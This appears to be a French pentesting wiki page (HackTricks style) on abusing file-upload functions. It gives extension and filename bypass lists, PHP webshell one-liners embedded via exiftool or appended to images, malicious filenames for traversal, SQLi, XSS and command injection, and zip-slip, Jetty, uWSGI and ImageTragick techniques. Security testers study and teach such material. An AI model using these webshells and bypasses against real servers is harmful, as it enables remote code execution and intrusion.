File Upload
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%252Fimage%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=20de5b35&sv=1)
Si vous êtes intéressé par une carrière en piratage et pirater l'impossible - nous recrutons ! (maîtrise du polonais écrit et parlé requis).
Méthodologie Générale de Téléchargement de Fichier
Autres extensions utiles :
PHP : .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Travailler en PHPv8 : .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP : .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion : .cfm, .cfml, .cfc, .dbm
Flash : .swf
Perl : .pl, .cgi
Serveur Web Erlang Yaws : .yaws
Contourner les vérifications des extensions de fichier
Si elles s'appliquent, vérifiez les extensions précédentes. Testez-les également en utilisant des lettres majuscules : pHp, .pHP5, .PhAr ...
Vérifiez l'ajout d'une extension valide avant l'extension d'exécution (utilisez également les extensions précédentes) :
fichier.png.php
fichier.png.Php5
Essayez d'ajouter des caractères spéciaux à la fin. Vous pouvez utiliser Burp pour forcer tous les caractères ascii et Unicode. (Notez que vous pouvez également essayer d'utiliser les extensions précédemment mentionnées)
fichier.php%20
fichier.php%0a
fichier.php%00
fichier.php%0d%0a
fichier.php/
fichier.php.\
fichier.
fichier.php....
fichier.pHp5....
Essayez de contourner les protections en trompant l'analyseur d'extension côté serveur avec des techniques comme doubler l'extension ou ajouter des données inutiles (des octets nuls) entre les extensions. Vous pouvez également utiliser les extensions précédentes pour préparer une meilleure charge utile.
fichier.png.php
fichier.png.pHp5
fichier.php#.png
fichier.php%00.png
fichier.php\x00.png
fichier.php%0a.png
fichier.php%0d%0a.png
fichier.phpJunk123png
Ajoutez une autre couche d'extensions à la vérification précédente :
fichier.png.jpg.php
fichier.php%00.png%00.jpg
Essayez de mettre l'extension d'exécution avant l'extension valide et espérez que le serveur est mal configuré. (utile pour exploiter les mauvaises configurations Apache où tout avec l'extension** .php, mais pas nécessairement se terminant par .php** exécutera du code) :
ex : fichier.php.png
Utilisation des flux de données alternatifs NTFS (ADS) dans Windows. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un fichier vide avec l'extension interdite sera créé sur le serveur (par exemple, "fichier.asax:.jpg"). Ce fichier pourrait être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “::$data” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions ultérieures (par exemple, “fichier.asp::$data.”)
Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le code PHP malveillant reste. AAA<--SNIP-->AAA.php
Contourner le type de contenu, le numéro magique, la compression et le redimensionnement
Contourner les vérifications de Content-Type en définissant la valeur de l'en-tête Content-Type à : image/png, text/plain, application/octet-stream
Liste de mots Content-Type : https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
Contourner la vérification du numéro magique en ajoutant au début du fichier les octets d'une vraie image (pour tromper la commande file). Ou introduire le shell à l'intérieur des métadonnées :
exiftool -Comment="<?php echo 'Commande :'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
ou vous pourriez également introduire directement la charge utile dans une image :echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Si une compression est ajoutée à votre image, par exemple en utilisant des bibliothèques PHP standard comme PHP-GD, les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le chunk PLTE technique définie ici pour insérer du texte qui survivra à la compression.
La page web pourrait également redimensionner l'image, en utilisant par exemple les fonctions PHP-GD
imagecopyresized
ouimagecopyresampled
. Cependant, vous pourriez utiliser le chunk IDAT technique définie ici pour insérer du texte qui survivra à la compression.Une autre technique pour créer une charge utile qui survivra à un redimensionnement d'image, en utilisant la fonction PHP-GD
thumbnailImage
. Cependant, vous pourriez utiliser le chunk tEXt technique définie ici pour insérer du texte qui survivra à la compression.
Autres astuces à vérifier
Trouver une vulnérabilité pour renommer le fichier déjà téléversé (pour changer l'extension).
Trouver une vulnérabilité de Local File Inclusion pour exécuter la porte dérobée.
Divulgation d'informations possible :
Téléverser plusieurs fois (et en même temps) le même fichier avec le même nom
Téléverser un fichier avec le nom d'un fichier ou dossier qui existe déjà
Téléverser un fichier avec “.”, “..”, ou “…” comme nom. Par exemple, dans Apache sous Windows, si l'application enregistre les fichiers téléversés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
Téléverser un fichier qui ne peut pas être facilement supprimé comme “…:.jpg” dans NTFS (Windows).
Téléverser un fichier dans Windows avec des caractères invalides tels que
|<>*?”
dans son nom (Windows).Téléverser un fichier dans Windows en utilisant des noms réservés (interdits) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
Essayer également de téléverser un exécutable (.exe) ou un fichier .html (moins suspect) qui exécutera du code lorsqu'il sera accidentellement ouvert par la victime.
Astuces d'extensions spéciales
Si vous essayez de téléverser des fichiers vers un serveur PHP, jetez un œil à l'astuce du .htaccess pour exécuter du code. Si vous essayez de téléverser des fichiers vers un serveur ASP, jetez un œil à l'astuce du .config pour exécuter du code.
Les fichiers .phar
sont comme les fichiers .jar
pour Java, mais pour PHP, et peuvent être utilisés comme un fichier PHP (en l'exécutant avec PHP, ou en l'incluant dans un script...)
L'extension .inc
est parfois utilisée pour les fichiers PHP qui ne sont utilisés que pour importer des fichiers, donc, à un moment donné, quelqu'un pourrait avoir autorisé cette extension à être exécutée.
Jetty RCE
Si vous pouvez téléverser un fichier XML dans un serveur Jetty, vous pouvez obtenir une RCE car les nouveaux fichiers *.xml et *.war sont automatiquement traités. Ainsi, comme mentionné dans l'image suivante, téléversez le fichier XML dans $JETTY_BASE/webapps/
et attendez le shell !
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-4f2d7d1408ac9a25ff9543c2e7b7f115b5a0af55%252Fimage%2520%281%29%2520%283%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=59edba67&sv=1)
uWSGI RCE
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : Exploitation de l'RCE uWSGI.
Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration .ini
. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme @(nom_fichier)
, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration .ini
est traité.
Considérez l'exemple suivant d'un fichier uwsgi.ini
nuisible, illustrant divers schémas :
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour un rechargement automatique. La fonction de rechargement automatique, si activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
Il est crucial de comprendre la nature laxiste de l'analyse des fichiers de configuration d'uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des exploitations potentielles.
Astuce de téléchargement de fichier/SSRF avec wget
Dans certains cas, vous pouvez constater qu'un serveur utilise wget
pour télécharger des fichiers et vous pouvez indiquer l'URL. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, cette vérification peut être contournée.
La longueur maximale d'un nom de fichier sous Linux est de 255, cependant, wget tronque les noms de fichiers à 236 caractères. Vous pouvez télécharger un fichier appelé "A"*232+".php"+".gif", ce nom de fichier contournera la vérification (comme dans cet exemple ".gif" est une extension valide) mais wget
renommera le fichier en "A"*232+".php".
Notez que une autre option à laquelle vous pourriez penser pour contourner cette vérification est de faire rediriger le serveur HTTP vers un fichier différent, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas à moins que wget ne soit utilisé avec le paramètre --trust-server-names
car wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine.
Outils
Upload Bypass est un outil puissant conçu pour aider les Pentesters et les Chasseurs de Bugs à tester les mécanismes de téléchargement de fichiers. Il exploite diverses techniques de prime aux bugs pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
Du téléchargement de fichiers à d'autres vulnérabilités
Définissez le nom de fichier sur
../../../tmp/lol.png
et essayez d'atteindre une traversée de cheminDéfinissez le nom de fichier sur
sleep(10)-- -.jpg
et vous pourriez réussir une injection SQLDéfinissez le nom de fichier sur
<svg onload=alert(document.domain)>
pour réaliser une XSSDéfinissez le nom de fichier sur
; sleep 10;
pour tester une injection de commande (plus de trucs d'injection de commandes ici)Téléchargement de fichier JS + XSS = exploitation des Service Workers
Essayez différentes charges utiles svg depuis https://github.com/allanlw/svg-cheatsheet****
Si vous pouvez indiquer au serveur web de récupérer une image à partir d'une URL, vous pourriez essayer d'exploiter un SSRF. Si cette image doit être enregistrée sur un site public, vous pourriez également indiquer une URL depuis https://iplogger.org/invisible/ et voler des informations sur chaque visiteur.
PDF spécialement conçus pour XSS : La page suivante présente comment injecter des données PDF pour obtenir une exécution JS. Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
Téléchargez le [eicar](https://secure.eicar.org/eicar.com.txt) pour vérifier si le serveur a un antivirus
Vérifiez s'il y a une limite de taille pour le téléchargement de fichiers
Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de ici) :
ASP / ASPX / PHP5 / PHP / PHP3 : Webshell / RCE
SVG : XSS stockée / SSRF / XXE
GIF : XSS stockée / SSRF
CSV : Injection CSV
XML : XXE
AVI : LFI / SSRF
HTML / JS : Injection HTML / XSS / Redirection ouverte
PNG / JPEG : Attaque de saturation de pixels (DoS)
ZIP : RCE via LFI / DoS
PDF / PPTX : SSRF / XXE AVEUGLE
Extension Burp
En-têtes magiques
PNG :
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG :
"\xff\xd8\xff"
Reportez-vous à https://en.wikipedia.org/wiki/List_of_file_signatures pour d'autres types de fichiers.
Téléchargement automatique de fichiers Zip/Tar décompressés
Si vous pouvez télécharger un ZIP qui va être décompressé à l'intérieur du serveur, vous pouvez faire 2 choses :
Lien symbolique
Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :
Décompresser dans des dossiers différents
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème significatif. Malgré les hypothèses initiales selon lesquelles cette configuration pourrait protéger contre l'exécution de commandes au niveau du système d'exploitation via des téléversements de fichiers malveillants, le support de compression hiérarchique et les capacités de traversée de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de s'échapper des répertoires de téléversement sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
Une exploitation automatisée pour créer de tels fichiers est disponible sur evilarc sur GitHub. L'utilitaire peut être utilisé comme indiqué :
De plus, le truc du lien symbolique avec evilarc est une option. Si l'objectif est de cibler un fichier tel que /flag.txt
, un lien symbolique vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs pendant son fonctionnement.
Voici un exemple de code Python utilisé pour créer un fichier zip malveillant :
Abus de la compression pour la pulvérisation de fichiers
Pour plus de détails, consultez le message original sur: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Création d'une coquille PHP: Le code PHP est écrit pour exécuter des commandes transmises via la variable
$_REQUEST
.
Pulvérisation de fichiers et création de fichiers compressés: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
Modification avec un éditeur hexadécimal ou vi: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en changeant "xxA" en "../" pour traverser les répertoires.
ImageTragic
Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité (ImageMagick, 7.0.1-1) (à partir de l'exploit)
Intégration d'une coquille PHP dans un PNG
Intégrer une coquille PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions imagecopyresized
et imagecopyresampled
de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité de la coquille PHP intégrée à rester inchangée par ces opérations est un avantage significatif pour certains cas d'utilisation.
Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : "Encodage de coquilles Web dans les chunks IDAT de PNG". Cette ressource offre une compréhension complète du processus et de ses implications.
Plus d'informations sur : https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Fichiers Polyglottes
Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons pouvant exister de manière valide dans plusieurs formats de fichier simultanément. Un exemple intrigant est un GIFAR, un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables.
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, afin de réduire les risques liés à des formats potentiellement dangereux (par exemple, JS, PHP ou des fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict en matière d'extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
Plus d'informations sur : https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Références
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%252Fimage%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=20de5b35&sv=1)
Si vous êtes intéressé par une carrière en piratage et souhaitez pirater l'impiratable - nous recrutons ! (maîtrise du polonais à l'écrit et à l'oral requise).
Last updated